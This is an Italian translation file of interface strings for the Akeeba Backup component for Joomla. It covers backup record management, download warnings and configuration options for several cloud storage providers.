COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC="Inizio backup crescente"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC="Inizio backup decrescente"
COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN="Capito!"
COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME="Ricordamelo la prossima volta"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD="Impossibile scaricare il file del record di backup specificato"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID="Identificatore del record di backup non valido"
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES="Impossibile eliminare i file dell'archivio di backup. Verificare i permessi."
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD="Impossibile eliminare il record dell'archivio di backup."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED_1="Il record di backup è stato bloccato."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED="%d record di backup sono stati bloccati."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED_1="Il record di backup è stato sbloccato."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED="%d record di backup sono stati sbloccati."
COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR="Impossibile eseguire l'azione selezionata su un record bloccato"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE="Blocca record"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE="Sblocca record"
COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT="Commento"
COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES="Elimina file"
COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION="Descrizione"
COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION="Durata"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN="Bloccato"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN="Bloccato"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT="– Bloccato –"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN="Sbloccato"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="Come ripristino i miei backup?"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE="<p>Puoi ripristinare i tuoi backup su qualsiasi server, anche diverso da quello su cui hai eseguito il backup. Segui il nostro <a href=\"%s\" target=\"_blank\">tutorial video</a>. Dovrai <a href=\"%3$s\" target=\"_blank\">scaricare Akeeba Kickstart Core (gratuitamente)</a> per estrarre gli archivi di backup, come indicato nel tutorial.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO="<strong>Può <em>essere</em> più semplice di così.</strong>Puoi ripristinare gli archivi di backup sullo stesso server o su uno diverso dall'interfaccia di Akeeba Backup. Non è necessario trasferire i file manualmente. Scopri queste e molte altre funzionalità disponibili esclusivamente in <a href=\"%s\">Akeeba Backup Professional</a>!"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_PRO="<p>È semplice! Seleziona la casella di controllo accanto a un record di backup. Ora fai clic sul pulsante <em>Ripristina</em> nella barra degli strumenti.</p><p>Se vuoi ripristinare su un nuovo server pubblico puoi utilizzare la <a href=\"%2$s\">Procedura guidata di trasferimento del sito</a>. Se preferisci farlo manualmente o ripristinare sul tuo computer o sulla tua Intranet guarda il nostro <a href=\"%1$s\" target=\"_blank\">tutorial video</a> e <a href=\"%3$s\" target=\"_blank\">scarica Akeeba Kickstart Core (gratuitamente)</a> per estrarre gli archivi di backup.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_ID="ID"
COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL="Gestisci &amp; Scarica"
COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION="(nessuna descrizione)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN="Origine"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND="Backend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI="Riga di comando"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND="Frontend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON="JSON API"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLA="Attività pianificate di Joomla"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLACLI="Attività pianificate di Joomla (solo CLI)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT="– Origine –"
COM_AKEEBABACKUP_BUADMIN_LABEL_PART="Parte %02d"
COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID="Profilo"
COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT="Gestisci i file archiviati in remoto"
COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE="Ripristina"
COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE="Dimensione"
COM_AKEEBABACKUP_BUADMIN_LABEL_START="Ora di inizio backup"
COM_AKEEBABACKUP_BUADMIN_LABEL_END="Ora di fine backup"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS="Stato"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE="Completato"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL="Non riuscito"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OBSOLETE="Obsoleto"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK="OK"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING="In attesa"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_REMOTE="Remoto"
COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE="Tipo"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE="Backup eseguito dopo"
COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE="Backup eseguito prima"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS="Il mio archivio di backup è ancora disponibile sul mio server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME="Come si chiama?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME_PAST="Come si chiamava?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH="Dove posso trovarlo sul mio server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH_PAST="Dov'era sul mio server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS_1="Il tuo backup è composto da un solo file."
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS="Il tuo backup è composto da %d file."
COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO="Informazioni sull'archivio di backup"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS="Il tuo backup è composto da %d file in parti. <em>Devi</em> scaricarli tutti e metterli nella stessa directory affinché l'estrazione dell'archivio e il ripristino del backup abbiano esito positivo."
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE="Il download tramite il browser potrebbe danneggiare i file"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING="Si consiglia di chiudere questa finestra di dialogo e utilizzare FTP in modalità di trasferimento <code>Binario</code> o SFTP per scaricare gli archivi di backup."
COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID="ID file di registro"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD="Scarica"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM="Il download di archivi di backup tramite il browser è soggetto\na errori, danneggiamento e troncamento dei file per motivi\noggettivamente al di fuori del nostro controllo (configurazione del server, del sito,\nplugin di terze parti e del browser).\n\nRacomandiamo VIVAMENTE di scaricare gli archivi di backup\nexclusivamente tramite FTP in modalità di trasferimento Binario\n(non usare Auto o ASCII; corromperà i tuoi archivi di backup)\nutilizzando software client come FileZilla,\n CyberDuck, WinSCP o simili; oppure utilizzando il\ngestore di file del pannello di controllo del tuo hosting.\n\nSe continui con questo download stai esplicitamente accettando\ndi rinunciare al diritto all'assistenza per qualsiasi problema di download,\nestrazione o ripristino dell'archivio di backup e\nhai compreso che tali richieste non riceveranno risposta.\n\nSei sicuro di voler continuare?"
COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT="Visualizza / Modifica commento del backup"
COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE="Questo file di registro non è più disponibile sul tuo sito"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEDOK="Le modifiche al record di backup sono state salvate correttamente"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEERROR="Le modifiche al record di backup non sono state salvate"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETED="Il record di backup e l'archivio sono stati eliminati correttamente"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE="L'archivio di backup è stato eliminato correttamente"
COM_AKEEBABACKUP_BUADMIN_UNFREEZE_OK="Record sbloccati correttamente"

COM_AKEEBABACKUP_COMMON_EMAIL_BODY_INFO="Il nuovo backup è stato eseguito con il profilo n.%s. È composto da %s parte/i. L'elenco completo dei file di questo set di backup è il seguente:"
COM_AKEEBABACKUP_COMMON_EMAIL_BODY_OK="Akeeba Backup ha completato il backup del tuo sito utilizzando la funzionalità di backup front-end. Puoi visitare la sezione amministratore del sito per scaricare il backup."
COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT="Hai una nuova parte di backup"
COM_AKEEBABACKUP_COMMON_EMAIL_SUBJECT_OK="Akeeba Backup ha eseguito un nuovo backup"
COM_AKEEBABACKUP_COMMON_ERR_NOT_ENABLED="Operazione non consentita"

COM_AKEEBABACKUP_CONFIG="Configurazione"
COM_AKEEBABACKUP_CONFIGURATION="Akeeba Backup <small>Opzioni di configurazione del componente</small>"
COM_AKEEBABACKUP_CONFIG_ADVANCED="Configurazione avanzata"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC="Akeeba Backup interromperà il passaggio di elaborazione dopo aver archiviato un file di grandi dimensioni. Quando abiliti questa opzione, Akeeba Backup funzionerà più velocemente. Tuttavia, ciò potrebbe causare errori di timeout o del server interno."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL="Disabilita l'interruzione del passaggio dopo file di grandi dimensioni"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC="Akeeba Backup interromperà il passaggio di elaborazione ogni volta che inizia a lavorare su un nuovo dominio. Ciò migliora la verbosità del processo, ma prolunga il tempo di backup di 10-20 secondi. Quando abiliti questa opzione, Akeeba Backup funzionerà più velocemente. Tuttavia, potresti notare un comportamento discontinuo nei passaggi riportati nella pagina di backup."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL="Disabilita l'interruzione del passaggio tra domini"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC="Akeeba Backup interromperà il passaggio di elaborazione prima di archiviare un file di grandi dimensioni. Quando abiliti questa opzione, Akeeba Backup funzionerà più velocemente. Tuttavia, ciò potrebbe causare errori di timeout o del server interno."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL="Disabilita l'interruzione del passaggio prima di file di grandi dimensioni"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC="Akeeba Backup interromperà il passaggio di elaborazione se ritiene che il tempo esaurisca prima di archiviare un file. Questo calcolo non è del tutto accurato e potrebbe rallentare i backup. Quando abiliti questa opzione, Akeeba Backup funzionerà più velocemente. Tuttavia, ciò potrebbe causare errori di timeout o del server interno."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL="Disabilita l'interruzione proattiva dei passaggi"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC="Akeeba Backup interromperà il passaggio di elaborazione tra i sotto-passaggi della finalizzazione del backup e del post-processing. Ciò può aggiungere circa 10 secondi al tempo complessivo di backup. Quando abiliti questa opzione, Akeeba Backup funzionerà più velocemente. Tuttavia, ciò potrebbe causare errori di timeout o del server interno."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL="Disabilita l'interruzione del passaggio nella finalizzazione"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC="Se il tuo server non esegue PHP in Safe Mode e supporta set_time_limit(), Akeeba Backup tenterà di impostare un tempo massimo di esecuzione PHP infinito per aggirare potenziali problemi di timeout"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Imposta un limite di tempo PHP infinito"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC="Indica ad Akeeba Backup di tentare di aumentare il limite di memoria di PHP a un valore molto elevato (16 GB). Ciò consente di comprimere file più grandi e caricare archivi di backup più grandi utilizzando opzioni di archiviazione remota che richiedono molta memoria, come WebDAV. Nota: questo imposta solo il limite per il consumo massimo di memoria. Nella maggior parte dei casi, il motore di backup di Akeeba Backup consuma <em>molto meno</em> memoria, solitamente nell'ordine dei 20 MB. La compressione e il caricamento di file più grandi richiede anche la modifica di altre opzioni nella pagina Configurazione del profilo di backup."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL="Imposta un limite di memoria elevato"
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION="Puoi facoltativamente proteggere con password lo Script di ripristino di Akeeba Backup, impedendo l'accesso non autorizzato all'installatore. Quando esegui l'installatore ti verrà chiesto di inserire questa password. Tieni presente che la password distingue le maiuscole dalle minuscole, ovvero ABC, abc e Abc sono tre password diverse."
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE="Password dello script di ripristino"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC="Invia un'email a questo indirizzo (lascia vuoto per inviare un'email a tutti i Super Utenti)"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL="Indirizzo email"
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION="Modello di denominazione per l'archivio di backup, ove applicabile. Puoi utilizzare le seguenti macro:<ul><li><strong>[HOST]</strong> Il nome dell'host. AVVISO! Questo tag non funziona in modalità CRON.</li><li><strong>[DATE]</strong> Data corrente</li><li><strong>[TIME_TZ]</strong> Ora e fuso orario correnti</li></ul>Sono disponibili altre macro; consulta la documentazione."
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE="Nome dell'archivio di backup"
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION="Definisce il formato dell'archivio di Akeeba Backup. Alcuni motori, come DirectFTP, non producono effettivamente archivi, ma si occupano del trasferimento dei file verso altri server."
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE="Motore di archiviazione"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION="Quando questa opzione è deselezionata, Akeeba Backup interromperà il backup quando il server risponde con un errore. Quando questa opzione è abilitata, Akeeba Backup tenterà di riprendere il backup ripetendo l'ultimo passaggio. Questo si applica solo ai backup lato back-end. Inoltre non consentirà di riprendere con successo tutti i backup che risultano in un errore: possono essere ripresi solo i tentativi di backup temporaneamente bloccati da restrizioni sull'utilizzo della CPU del server o problemi di interruzione della rete."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION="Quante volte Akeeba Backup deve riprovare a riprendere il backup prima di arrendersi definitivamente. Da 3 a 5 tentativi funzionano meglio sulla maggior parte dei server."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE="Numero massimo di tentativi di un passaggio di backup dopo un errore AJAX"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION="Quanti secondi attendere prima di riprendere il backup. Si consiglia di impostare questo valore a 30 secondi o più (120 secondi è raccomandato nella maggior parte dei casi) per dare al server il tempo necessario a sbloccare il processo di backup prima che Akeeba Backup tenti di completarlo."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE="Periodo di attesa prima di ritentare il passaggio di backup"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE="Riprendi il backup dopo che si è verificato un errore AJAX"
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="Il nome del tuo account. Se il tuo endpoint è foobar.blob.core.windows.net, il nome dell'account è <strong>foobar</strong> e devi digitare <em>foobar</em> in questa casella."
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_TITLE="Nome account"
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_DESCRIPTION="Il container di Windows Azure BLOB Storage in cui conservare gli archivi di backup. Il container deve già esistere."
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_TITLE="Container"
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_DESCRIPTION="La directory all'interno del container di Windows Azure BLOB Storage in cui archiviare gli archivi di backup. Per archiviare tutto nella radice del container, lascia vuoto."
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_DESCRIPTION="Puoi trovare la tua chiave di accesso primaria nella pagina del tuo account su windows.azure.com. Copiala e incollala qui. Termina sempre con due segni di uguale."
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_TITLE="Chiave di accesso primaria"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION="Inserisci il tuo ID chiave applicazione BackBlaze B2. Puoi trovare queste informazioni nella <a href='https://secure.backblaze.com/b2_buckets.htm'>pagina del tuo account BackBlaze</a> dopo aver fatto clic su 'Show Account ID and Application Key'. Se utilizzi la chiave master, inserisci invece il tuo ID account."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_TITLE="ID chiave applicazione"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION="Inserisci la tua chiave applicazione BackBlaze B2. Puoi trovare queste informazioni nella <a href='https://secure.backblaze.com/b2_buckets.htm'>pagina del tuo account BackBlaze</a> dopo aver fatto clic su 'Show Account ID and Application Key'. <strong>AVVISO</strong>! Questa viene mostrata SOLO UNA VOLTA da BackBlaze. Per visualizzarla di nuovo dovrai rigenerare la chiave applicazione, causando lo scollegamento di TUTTE le istanze di Akeeba Backup precedentemente collegate finché non inserisci la <em>nuova</em> chiave applicazione."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE="Chiave applicazione"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION="Il nome del tuo bucket Backblaze B2"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION="La directory all'interno del tuo bucket in cui verranno archiviati gli archivi di backup. Lascia vuoto per archiviare i file nella radice del bucket."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION="Quando abiliti questa opzione, Akeeba Backup eseguirà caricamenti in parte singola su Backblaze B2. Dovrai utilizzare un valore più piccolo per l'impostazione Dimensione parte per archivi suddivisi nella configurazione del motore di archiviazione per evitare che il caricamento vada in timeout, causando il fallimento del processo di backup."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE="Disabilita i caricamenti in più parti"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC="Opzioni che indicano ad Akeeba Backup come gestire gli script lato back-end"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL="Back-end"
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC="Dovremmo tradurre l'ora di inizio del backup nel fuso orario dell'utente attualmente connesso nella pagina Gestisci backup? Se impostato su No, tutti gli orari di inizio backup vengono visualizzati nel fuso orario GMT. Questa opzione NON influisce sulle variabili [DATE] e [TIME] per la denominazione dei file di backup o la descrizione predefinita; utilizza l'opzione Fuso orario backup per modificare il funzionamento di queste variabili."
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL="Ora locale in Gestisci backup"
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC="Devo dare agli utenti che ripristinano un sito l'opzione di eliminare tutto prima di estrarre un archivio? Questa opzione si applica solo alla versione Professional del nostro software. AVVISO! QUESTO È ESTREMAMENTE PERICOLOSO. LEGGI LA DOCUMENTAZIONE MOLTO ATTENTAMENTE PRIMA DI ABILITARLO. SE UTILIZZI QUESTA FUNZIONE DURANTE IL RIPRISTINO RINUNCI A QUALSIASI DIRITTO DI RICHIEDERE SUPPORTO E TI ASSUMI TUTTA LA RESPONSABILITÀ E L'ONERE."
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL="Mostra l'opzione \"Elimina tutto prima dell'estrazione\""
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION="Fuso orario"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC="Il suffisso del fuso orario da visualizzare accanto all'ora di inizio del backup nella pagina Gestisci backup.<br/>Nessuno: nessun suffisso viene visualizzato (sconsigliato).<br/>Fuso orario: un fuso orario abbreviato, ad es. CEST per l'ora legale dell'Europa centrale.<br/>Offset GMT: l'offset rispetto al fuso orario GMT, ad es. GMT+01:00 (= due ore avanti rispetto a GMT, ovvero l'ora solare dell'Europa centrale). Tieni presente che durante l'ora legale l'offset GMT è +1 ora rispetto al fuso orario regolare. Questa differenza di offset VERRÀ mostrata in questo formato."
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET="Offset GMT"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL="Suffisso fuso orario"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE="Nessuno"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB="Tutti i database configurati (file archivio)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY="Solo database principale del sito (file SQL)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION="Che tipo di backup del sito vuoi che Akeeba Backup esegua"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY="Solo file del sito"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL="Backup completo del sito"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE="Solo file, incrementale"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL="Sito completo, file incrementali"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE="Tipo di backup"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_DESCRIPTION="Abbassare questo valore consentirà di conservare memoria ed evitare errori HTTP 500 durante il backup di tabelle enormi"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_TITLE="Numero di righe per batch"
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_DESCRIPTION="I file di dimensioni superiori a questo valore verranno archiviati non compressi, oppure la loro elaborazione si estenderà su più passaggi (a seconda del motore di archiviazione) per evitare i timeout. Si consiglia di aumentare questo valore solo su server veloci e affidabili."
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_TITLE="Soglia file di grandi dimensioni"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_DESCRIPTION="Rimuove il nome utente e la password delle connessioni al database dal backup"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_TITLE="Oscura nome utente/password"
COM_AKEEBABACKUP_CONFIG_BOX_ACCESSTOKEN_TITLE="Token di accesso"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_ENABLE="Abilita caricamento a blocchi"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_SIZE="Dimensione del blocco"
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_DESCRIPTION="La directory all'interno del tuo account Box in cui verranno archiviati gli archivi di backup. Lascia vuoto per archiviare i file nella radice della cartella Box."
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_DESC="Fai clic su questo pulsante per aprire una nuova finestra in cui puoi accedere al tuo account con il provider di archiviazione. Quindi, chiudi la finestra popup e fai clic sul pulsante Passaggio 2 qui sotto."
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_TITLE="Autenticazione - Inizia qui"
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION="Compilato automaticamente al completamento del Passaggio 1 di autenticazione sopra. NON condividere lo stesso token su più siti. Autentica invece ogni sito separatamente."
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_TITLE="Token di aggiornamento"
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_DESCRIPTION="Akeeba Backup elabora i file di grandi dimensioni in piccoli blocchi, per evitare i timeout. Questo parametro definisce la dimensione massima del blocco per questo tipo di elaborazione."
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_TITLE="Dimensione del blocco per l'elaborazione di file di grandi dimensioni"
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION="Quando questa casella è deselezionata (impostazione predefinita) e il passaggio di backup termina in meno tempo del tempo minimo di esecuzione configurato, Akeeba Backup farà attendere il server fino al raggiungimento di quel tempo. Questo potrebbe causare l'interruzione del backup su alcuni server molto restrittivi. Selezionando questa casella il periodo di attesa verrà implementato nel browser, aggirando questa limitazione. IMPORTANTE: Questa opzione si applica solo ai backup lato back-end. I backup front-end, tramite API JSON (remoti) e da riga di comando (CLI) implementano sempre l'attesa lato server."
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE="Implementazione lato client del tempo minimo di esecuzione"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="La tua chiave API CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_TITLE="Chiave API"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="Il container CloudFiles in cui conservare gli archivi di backup"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_TITLE="Container"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="La directory all'interno del container CloudFiles in cui archiviare gli archivi di backup. Per archiviare tutto nella radice del container, lascia vuoto."
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Il tuo nome utente CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION="La directory all'interno del tuo account CloudMe in cui verranno archiviati gli archivi di backup. Lascia vuoto per archiviare i file nella radice della cartella CloudMe."
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_DESCRIPTION="Password"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_DESCRIPTION="Nome utente"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="Quando abilitato, Akeeba Backup eliminerà i file di backup più vecchi se sono più del limite definito di seguito."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE="Abilita quota per conteggio"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup eliminerà i file di backup più vecchi se sono più del limite definito in questa impostazione. I backup in più parti sono considerati come <em>un</em> unico file!<br/><br/><strong>Suggerimento</strong>: Seleziona Personalizzato e digita il valore desiderato se non è presente nell'elenco."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE="Quota per conteggio"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC="Cambia come viene visualizzata la data/ora di inizio dei backup nella pagina Gestisci backup. Lascia vuoto per utilizzare la formattazione predefinita. Puoi utilizzare le opzioni di formattazione della funzione date di PHP, vedi: http://www.php.net/manual/en/function.date.php"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL="Formato data"
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_DESCRIPTION="Se abilitato, l'archivio di backup verrà rimosso da questo server non appena la post-elaborazione termina con successo."
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_TITLE="Elimina archivio dopo l'elaborazione"
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="Quando abilitato, i collegamenti simbolici verranno seguiti proprio come file e directory normali. Quando non è selezionato, i collegamenti simbolici non verranno seguiti. Se stai utilizzando collegamenti simbolici che portano a un ciclo di collegamento infinito, deseleziona questa opzione."
